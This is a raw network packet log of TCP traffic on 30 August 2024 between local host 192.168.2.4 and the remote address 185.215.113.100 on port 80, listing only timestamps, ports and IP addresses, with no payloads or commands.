Aug 30, 2024 18:18:00.378483057 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378567934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.378609896 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378611088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.378621101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.378659010 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378669024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.378676891 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378711939 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378781080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.378793001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.378823996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378838062 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378918886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.378968000 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378974915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.378985882 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.379020929 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.379050016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.379200935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.379211903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.379224062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.379250050 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.379280090 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.379414082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.379425049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.379435062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.379445076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.379451990 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.379456043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.379486084 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.379503012 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383164883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383193016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383203983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383222103 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383269072 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383310080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383321047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383332014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383354902 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383374929 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383441925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383486986 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383568048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383584023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383596897 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383608103 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383626938 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383640051 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383730888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383771896 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383830070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383850098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383862019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383872032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383874893 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383882999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383893013 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.383900881 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.383940935 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.404162884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.404227018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.404237986 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.404243946 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.404284954 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.404373884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.404385090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.404396057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.404407024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.404419899 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.404443026 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.404908895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.404920101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.404931068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.404958010 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.404972076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.405059099 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.405069113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.405078888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.405091047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.405117989 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.405138016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.411247969 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.411313057 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.411331892 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.411346912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.411372900 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.411392927 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.411551952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.411561966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.411571026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.411581993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.411595106 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.411607981 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.411640882 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.417222977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417288065 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.417354107 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417361975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417404890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.417418957 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417428970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417438030 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417459965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.417473078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.417670012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417680979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417690992 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417714119 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.417736053 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.417913914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417929888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417937994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417948008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.417954922 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.417992115 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.418262959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.418275118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.418311119 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.418334961 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.418441057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.418483973 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.418499947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.418509960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.418540001 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.418553114 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.418683052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.418693066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.418701887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.418711901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.418721914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.418742895 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.418766975 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.419002056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.419013023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.419023037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.419030905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.419047117 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.419064999 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.419277906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.419287920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.419296980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.419306993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.419318914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.419349909 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.419563055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.419603109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.419950962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.419987917 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.420018911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420028925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420059919 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.420069933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.420238972 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420248032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420257092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420264959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420284033 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.420311928 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.420553923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420597076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.420658112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420666933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420676947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420686007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420696974 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.420698881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.420716047 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.420743942 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.421152115 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421160936 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421169996 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421180010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421191931 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.421220064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.421389103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421399117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421407938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421417952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421427011 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421432018 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.421436071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421468019 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.421488047 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.421933889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421943903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421952009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421961069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421969891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421973944 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.421979904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.421993017 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.422022104 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.422446966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.422454119 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.422462940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.422472954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.422481060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.422486067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.422491074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.422498941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.422508955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.422513962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.422517061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.422545910 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.422555923 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.467114925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467209101 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.467248917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467257977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467277050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467281103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467291117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467298031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467422962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.467721939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467730999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467740059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467749119 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467757940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467767954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467775106 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.467777014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.467802048 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.467827082 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.475397110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.475456953 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.475457907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.475469112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.475497961 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.475514889 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.475689888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.475698948 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.475708008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.475718021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.475744009 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.475775003 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.476053953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.476063013 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.476072073 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.476080894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.476090908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.476099014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.476104975 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.476111889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.476125002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.476145983 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.476160049 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.491720915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.491782904 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.491807938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.491817951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.491846085 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.491866112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.491933107 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.491944075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.491980076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.492161989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.492172003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.492181063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.492191076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.492202044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.492218018 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.492248058 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.492577076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.492588997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.492630959 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.492762089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.492772102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.492805004 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.498734951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.498783112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.498801947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.498812914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.498856068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.498980045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.498989105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.499031067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.499149084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.499162912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.499208927 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.504880905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.504936934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.504947901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.504959106 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505000114 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.505105019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505115032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505125046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505136013 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505165100 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.505176067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.505250931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505295038 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.505373001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505387068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505397081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505408049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505417109 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505422115 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.505428076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505438089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505443096 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.505479097 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.505856037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.505907059 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.505997896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506047964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.506047964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506058931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506094933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.506210089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506220102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506231070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506242037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506257057 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.506278992 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.506541014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506551981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506561995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506577015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506592035 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.506612062 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.506876945 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506886959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.506928921 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.507006884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.507018089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.507061005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.507941008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.507951975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.507967949 CEST	80	49730	185.215.113.100	192.168.2.4
